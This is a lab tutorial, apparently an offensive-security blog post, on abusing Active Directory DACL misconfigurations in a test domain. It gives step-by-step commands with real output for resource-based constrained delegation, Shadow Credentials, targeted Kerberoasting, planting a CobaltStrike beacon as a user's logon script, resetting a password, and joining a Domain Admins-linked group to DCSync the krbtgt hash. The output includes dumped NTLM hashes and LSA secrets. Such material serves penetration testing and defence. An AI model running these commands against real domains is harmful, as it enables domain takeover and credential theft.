Active Directory objects such as users and groups have associated permissions. These permissions are enforce using Discretionary Access Control Lists (DACLs). A DACL is composed of a number of Access Control Entries (ACE).
These entries can be configured using Active Directory Users and Computers management console;
The below table shows the access rights and what they enable an adversary to do;
Access Right | Meaning |
GENERIC_ALL | All access rights. |
GENERIC_READ | Read rights. |
GENERIC_WRITE | Write rights. |
AllExtendedRights | Grants DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges. Allows replicating objects. |
User-Force-Change-Password | Ability to reset an accounts password. |
A list of extended Active Directory rights is available here.
Identifying DACL Misconfigurations
Run bloodhound-python against the domain. It’s important to use the “-c All” option to ensure ACL information is being collected.
bloodhound-python -d bordergate.local -dc DC01.bordergate.local -u alice -p Password1 --zip
INFO: Found AD domain: bordergate.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.bordergate.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 5 computers
INFO: Found 7 users
INFO: Connecting to LDAP server: DC01.bordergate.local
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SERVER2.bordergate.local
INFO: Querying computer: SERVER01.bordergate.local
INFO: Querying computer: DESKTOP-4OL1GMS.bordergate.local
INFO: Querying computer: DC01.bordergate.local
INFO: Done in 00M 01S
INFO: Compressing output into 20231201143013_bloodhound.zip
Uploading the Zip file to bloodhound and running the “Shortest Path from Owned Principals”, we get the following graph. The user Alice will be the source of these attacks.
So, there a number of conditions we can exploit here;
- Alice is a transitive member of the EVERYONE group, which has GenericWrite permissions to SERVER2. This server is actually a member of the Domain Admins group, although that is not reflected in the graph.
- Alice is a transitive member of the Authenticated Users group. This group has GenericWrite privileges over the BOB account, which is a member of the Domain Administrators group.
- Being in the Authenticated Users group, Alice also has GenericWrite privileges over the SERVER_ADMIN group which is a member of the Domain Administrators group.
This article will be looking at exploiting the following;
GenericWrite on Computer Accounts
GenericWrite on a User Accounts
Exploiting GenericWrite on a Computer Account
There are two ways of exploiting GenericWrite on a computer account. Firstly, we can introduce Resource Based Constrained Delegation to the target host to allow us to impersonate users. Further information on Kerberos Delegation Attacks can be found here.
Resource Based Constrained Delegation
Add a Computer Account
Resource Based Constrained Delegation allows a source host to impersonate users on a target. So, to start we need to create a computer account in the domain. By default, each Active Directory user can create 10 accounts;
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password1!' -dc-host 192.168.1.205 -domain-netbios bordergate.local 'BORDERGATE.lOCAL/Alice:Password1'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Successfully added machine account ATTACKERSYSTEM$ with password Password1!.
Add RBCD to the Target
Next, we use impacket-rbcd to add the msDS-AllowedToActOnBehalfOfOtherIdentity property to the target system.
impacket-rbcd -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'SERVER2$' -action 'write' 'BORDERGATE.LOCAL/alice:Password1'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on SERVER2$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKERSYSTEM$ (S-1-5-21-3145080211-1542655718-1073859234-1110)
Generate a Kerberos Service Ticket
We can now generate a Kerberos ticket purporting to be any user in the domain.
impacket-getST -spn 'cifs/server2.bordergate.local' -impersonate 'Administrator' 'bordergate.local/ATTACKERSYSTEM$:Password1!'
Impacket v0.11.0 - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
Import the Ticket
Set the KRB5CCNAME environment variable, and execute klist to ensure the ticket has been imported correctly;
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/home/kali/Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/home/kali/Administrator.ccache
Default principal: Administrator@bordergate.local
Valid starting Expires Service principal
01/12/23 14:15:40 02/12/23 00:15:40 cifs/server2.bordergate.local@BORDERGATE.LOCAL
renew until 02/12/23 14:14:51
Extract the SAM Database
Using the -k option in impacket tools then lets us authenticate to the target host using Kerberos. We can remotely extract LSA secrets.
impacket-secretsdump bordergate.local/administrator@server2.bordergate.local -k -dc-ip 192.168.1.205 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2ea95c18b8066845012006cc0a38e60f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bce86ff3bde5a13e0a97398231766dfc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f60f6146a5afb4356a5249f0a238028a:::
[*] Dumping cached domain logon information (domain/username:hash)
BORDERGATE.LOCAL/Administrator:$DCC2$10240#Administrator#976975efcf441c2590732f842407b9ce: (2023-12-01 13:04:26)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
BORDERGATE\SERVER2$:plain_password_hex:260c11206e3a97d4fe705c162b34b9936aefed64229a3eea8fac618f5001687874ec82c14b95228261697296bfa22902d3221ee6ba1f86338eaa1c293010fbe08fcd3d18deb02760272b23c7ee12493a3e25f2b482db894e28c137b03ad6017eb1704d0ba69633d3ae8d0d77e6450564bf87aefeb33ba457e20711c8327851d0925e1169320606a3a9096021109f26153003d2cbf79fec6ca32b56f311873a9684ef600e333babd10cdbc03d0c72bbfbcd36227fafd48cb4809f223551e7dfd6162fc2cede2c5c1137f893d452a321e6268c08e68343d214c6e17e55c7dacfe76d70a0245b3c8ec0945ffaccf2eb9571
BORDERGATE\SERVER2$:aad3b435b51404eeaad3b435b51404ee:ea953ebbebc6b95b8a38c43711c94061:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x95d5bf84cae18b0663ff4772598bf301e1989ef4
dpapi_userkey:0xac0e09639dbdded8f19e5ec6dc87cf82a717822b
[*] NL$KM
0000 09 F1 44 C6 48 DE 62 71 33 20 17 28 67 14 EB 2D ..D.H.bq3 .(g..-
0010 C5 AB 1E A0 FC 66 FB C7 C7 CD F5 EF 93 C9 59 27 .....f........Y'
0020 DD CC 35 E9 1A CF 56 86 8F 2F 9B 75 66 F3 18 91 ..5...V../.uf...
0030 E2 D2 05 B5 CC 75 12 71 52 BE EB 08 BC 92 73 58 .....u.qR.....sX
NL$KM:09f144c648de6271332017286714eb2dc5ab1ea0fc66fbc7c7cdf5ef93c95927ddcc35e91acf56868f2f9b7566f31891e2d205b5cc75127152beeb08bc927358
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Browse the Remote Filesystem
The ticket can also be used to browse the target systems file system, or create a remote session with impacket-psexec.
impacket-smbclient bordergate.local/administrator@server2.bordergate.local -k -dc-ip 192.168.1.205 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
CertEnroll
IPC$
# use C$
# ls
drw-rw-rw- 0 Fri Oct 20 10:49:03 2023 $Recycle.Bin
drw-rw-rw- 0 Fri Dec 1 13:08:59 2023 $WinREAgent
drw-rw-rw- 0 Fri Oct 20 17:50:42 2023 Documents and Settings
-rw-rw-rw- 12288 Fri Oct 20 11:08:26 2023 DumpStack.log.tmp
drw-rw-rw- 0 Fri Oct 20 10:12:14 2023 inetpub
-rw-rw-rw- 1476395008 Fri Oct 20 11:08:26 2023 pagefile.sys
drw-rw-rw- 0 Fri Oct 20 18:49:06 2023 PerfLogs
drw-rw-rw- 0 Fri Oct 20 09:55:31 2023 Program Files
drw-rw-rw- 0 Fri Oct 20 18:49:06 2023 Program Files (x86)
drw-rw-rw- 0 Fri Dec 1 14:15:19 2023 ProgramData
drw-rw-rw- 0 Fri Oct 20 17:50:43 2023 Recovery
drw-rw-rw- 0 Fri Oct 20 17:50:02 2023 System Volume Information
drw-rw-rw- 0 Fri Oct 20 10:48:57 2023 Users
drw-rw-rw- 0 Fri Oct 20 10:22:13 2023 Windows
Shadow Credentials
Shadow Credentials are an alternative way of exploiting a WriteDACL on a target computer account. This attack involves adding the msDS-KeyCredentialLink attribute to the target account, to allow users to authenticate to the host using a certificate. For this to work the functional level of the domain must be at least 2016 (this being the most recent), and a certification authority (AD CS) must be configured in the domain.
python3 pywhisker.py -d "bordergate.local" -u alice -p Password1 --target "SERVER2$" --action add --dc-ip 192.168.1.205 -v
[*] Searching for the target account
[*] Target user found: CN=SERVER2,CN=Computers,DC=bordergate,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: bedfb11d-8618-7b35-2361-6b548db143b2
[*] Updating the msDS-KeyCredentialLink attribute of SERVER2$
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[VERBOSE] No filename was provided. The certificate(s) will be stored with the filename: gUXt1izq
[VERBOSE] No pass was provided. The certificate will be stored with the password: gSK0HAnqzvpcxwaXCkHH
[+] Saved PFX (#PKCS12) certificate & key at path: gUXt1izq.pfx
[*] Must be used with password: gSK0HAnqzvpcxwaXCkHH
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[VERBOSE] Run the following command to obtain a TGT
[VERBOSE] python3 PKINITtools/gettgtpkinit.py -cert-pfx gUXt1izq.pfx -pfx-pass gSK0HAnqzvpcxwaXCkHH bordergate.local/SERVER2$ gUXt1izq.ccache
python3 PKINITtools/gettgtpkinit.py -cert-pfx gUXt1izq.pfx -pfx-pass gSK0HAnqzvpcxwaXCkHH bordergate.local/SERVER2$ gUXt1izq.ccache
2023-12-03 09:43:29,158 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2023-12-03 09:43:29,176 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2023-12-03 09:43:29,272 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2023-12-03 09:43:29,272 minikerberos INFO 21f54449400763efc1ca3efbdcb0b462e7e324569e8597dbb2ba445e0166f540
INFO:minikerberos:21f54449400763efc1ca3efbdcb0b462e7e324569e8597dbb2ba445e0166f540
2023-12-03 09:43:29,275 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
export KRB5CCNAME=/home/kali/gUXt1izq.ccache
klist
Ticket cache: FILE:/home/kali/gUXt1izq.ccache
Default principal: SERVER2$@BORDERGATE.LOCAL
Valid starting Expires Service principal
03/12/23 09:43:48 03/12/23 19:43:48 krbtgt/BORDERGATE.LOCAL@BORDERGATE.LOCAL
We can verify the ticket imported correctly by browsing the systems C$ share;
impacket-smbclient bordergate.local/'SERVER2$'@server2.bordergate.local -k -dc-ip 192.168.1.205 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
CertEnroll
IPC$
# use C$
# ls
drw-rw-rw- 0 Fri Dec 1 16:00:05 2023 $Recycle.Bin
drw-rw-rw- 0 Fri Dec 1 13:08:59 2023 $WinREAgent
drw-rw-rw- 0 Fri Oct 20 17:50:42 2023 Documents and Settings
-rw-rw-rw- 12288 Fri Oct 20 11:08:26 2023 DumpStack.log.tmp
drw-rw-rw- 0 Fri Oct 20 10:12:14 2023 inetpub
-rw-rw-rw- 1476395008 Fri Oct 20 11:08:26 2023 pagefile.sys
drw-rw-rw- 0 Fri Oct 20 18:49:06 2023 PerfLogs
drw-rw-rw- 0 Fri Oct 20 09:55:31 2023 Program Files
drw-rw-rw- 0 Fri Oct 20 18:49:06 2023 Program Files (x86)
drw-rw-rw- 0 Fri Dec 1 16:08:01 2023 ProgramData
drw-rw-rw- 0 Fri Oct 20 17:50:43 2023 Recovery
drw-rw-rw- 0 Fri Oct 20 17:50:02 2023 System Volume Information
drw-rw-rw- 0 Fri Dec 1 15:59:58 2023 Users
drw-rw-rw- 0 Fri Oct 20 10:22:13 2023 Windows
#
Exploiting GenericWrite on a User Account
With write access to a users account, we can either add an Service Principal Name (SPN). to the account (to allow for Kerberoasting) or change the users logon script for remote code execution.
Targetted Kerberoasting
A script is available here to perform this attack; https://github.com/ShutdownRepo/targetedKerberoast. The script will add an SPN to accounts that we have write access to, Kerberoast the account then remote the SPN. Further information about Kerberoasting attacks is available here.
python3 targetedKerberoast.py -v -d bordergate.local -u alice -p Password1 --request-user bob
[*] Starting kerberoast attacks
[*] Attacking user (bob)
[VERBOSE] SPN added successfully for (bob)
[+] Printing hash for (bob)
$krb5tgs$23$*bob$BORDERGATE.LOCAL$bordergate.local/bob*$6d2e1d549b60072025aac8f8c0b8db5d$909e278ecb6a0f519d78a4b181a854c854eafdd0d86dc8b85ffd4f8a073a8f353c76fd20913cb9079dcc3fc7f7ea0a214f7c9f745fdc3b2672a474a30b9cd019619ba41d127b6b7be56cb1d182ae320cffb606a3320711cc64ad5791a12b5637174b35001299d85aa64e26623197668e748787b1b80f49c552f32603e31671417ee5d0765becb65c8c50907934be9a474417cb695c45c575b08194a8bdfcc8bbe86ce4f98ed83465b5075a0fe0c085509c7a6e632b7a3abf54016b6057b5b0f7250bfcbe9c659e3efd1e8dbdbdc1def213bc74cac4601b805916010fe9470949a31cb462e1e0399074a157d1179bcde20b1b4e5b05169a7ef53e57c89b136c986dff5a7035fd798e69c9858ada693a0704d6e7802569a919598842b7512bcfa8142db2e2f56225a4d4095772cf4f7001e92e45fbf89c1ad3a76d0f21fca8e0b24d6820e31f389d1d5c75d1e1dfabbc0fafa6007fb353036cd3fea5d4af9ca8245432e62428513b954820388ec6264865bf5320a6dba1ce0d824a293d70866362882ae224e24cc2ef8f00cca313b71fb83aeb1f49c46c15578be93a60ae841bc44477e2c43db387f2ef737c71edfddf0277899a0911431d9e08648dbb7c17af3de1d64dcd19a4cffb2dcd6a89e46278c99899044b6c617752ae7d90c48d8b15ba42fc3792c73da39ca40a586f2ae3b501f8240abcc6a1c075070d04f442272f96d8e7501794bf8adb87140cbeeec8f736ec34ad68faf0cb5672ee4930e0dd25146cef8ccb77bc4567b381309edd789c72f3ccf315bf812abb2786c2fae0825370c3b76558aff3033b73885492efc28ddeaf0f3a447f3482a49ccf8b5bca215d0b0466d1b30eba8282d2a31081afc0ebf0ed862e9e241ed1240312088b7975b4587109bc36c0801f66f4f883e712104eb18e0f52d5aa6ad93b0f1cf3ef9cb44c24f40dcad021f742a39334318607b94131dce89fd25f9074d67e832bb110160b2266e22e89833dcb7b421ccdc163d722f535137c43848e423fdc1fb93a3a42dac127fd2a1c399eb9ccb81df536809b135adfdb3f816dcc5c56d98100d55f31b759aa5da9fb9a3920c43fecede21a610554fdc5e856d2fcb567571de4abdbf65fb19648eaca87f3b76e3b1603887cdd9348096f7007934e7b4994aec5ad6e652c3e4eaee2e63421818223397f1d1a3bb85e214c842f2da5e7c8aa15c708c4882c508c8dcf545afd509d96d3b7d5a688c090897cff3f44662318fd1f435837131f8f4098a1365a9b0dcfd3c05cdd6da24dcbe33adfba37b43a15bda7820445da5bd21d54daa50393d370ade762e07a0e1628553af02bc7e5e36161cb542630acd18cebfe5ea4a03dd89bc126790436b4c3a65e76839d37ca2086ddeff9c5a551b3dc17fb92274e6040b0faeda76e9fe019c99dc72b84546eced481779e35b6028b13273abd923f491e8f908e9c7758e788e797d40f17f16c226a96296bee313c
[VERBOSE] SPN removed successfully for (bob)
Logon Script Modification
Alice can add a logon script that runs a command when Bob logs in. This script needs to be stored in the NETLOGON share on the server. By default this share is not writeable by standard users, however administrators may misconfigure the share permissions. In this example, we have a writeable directory called scripts that we place a CobaltStrike beacon inside;
PowerView Set-DomainObject can then be used to set Bob’s logon script to the beacon file;
PS C:\Users\alice\Desktop> . .\PowerView.ps1
PS C:\Users\alice\Desktop> Set-DomainObject bob -Set @{'scriptPath'='SCRIPTS\beacon.exe'} -Verbose
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=BORDERGATE,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=bob)(name=bob)(displayname=bob))))
VERBOSE: [Set-DomainObject] Setting 'scriptPath' to 'SCRIPTS\beacon.exe' for object 'bob'
PS C:\Users\alice\Desktop>
We can verify the logon script has been changed;
Get-DomainUser -Identity bob -Properties scriptpath
scriptpath
----------
SCRIPTS\beacon.exe
When Bob logs into a system, the beacon will execute.
Exploiting GenericAll on a User Account
If we have GenericAll privileges over a user account, we can reset it’s password.
pth-net rpc password charles -U "bordergate.local/alice"%'Password1' -S 192.168.1.205
Enter new password for charles:
E_md4hash wrapper called.
Exploiting GenericWrite on a Group
Alice cannot currently DCSync the domain.
impacket-secretsdump alice:'Password1'@dc01.bordergate.local -just-dc-ntlm -just-dc-user krbtgt
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...
However, she can add herself into the SERVER_ADMIN group which is a member of Domain Admins. We can do this using pth-net from Linux;
pth-net rpc group addmem "SERVER_ADMIN" "alice" -U "bordergate.local/alice"%'Password1' -S 192.168.1.205
E_md4hash wrapper called.
impacket-secretsdump alice:'Password1'@dc01.bordergate.local -just-dc-ntlm -just-dc-user krbtgt
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8df8cbe83f452f60dd41bd4df07582e6:::
[*] Cleaning up...
In Conclusion
DACL misconfiguration issues are common, particularly in large Active Directory environments. Products such as Bloodhound Enterprise can assist in identifying these issues.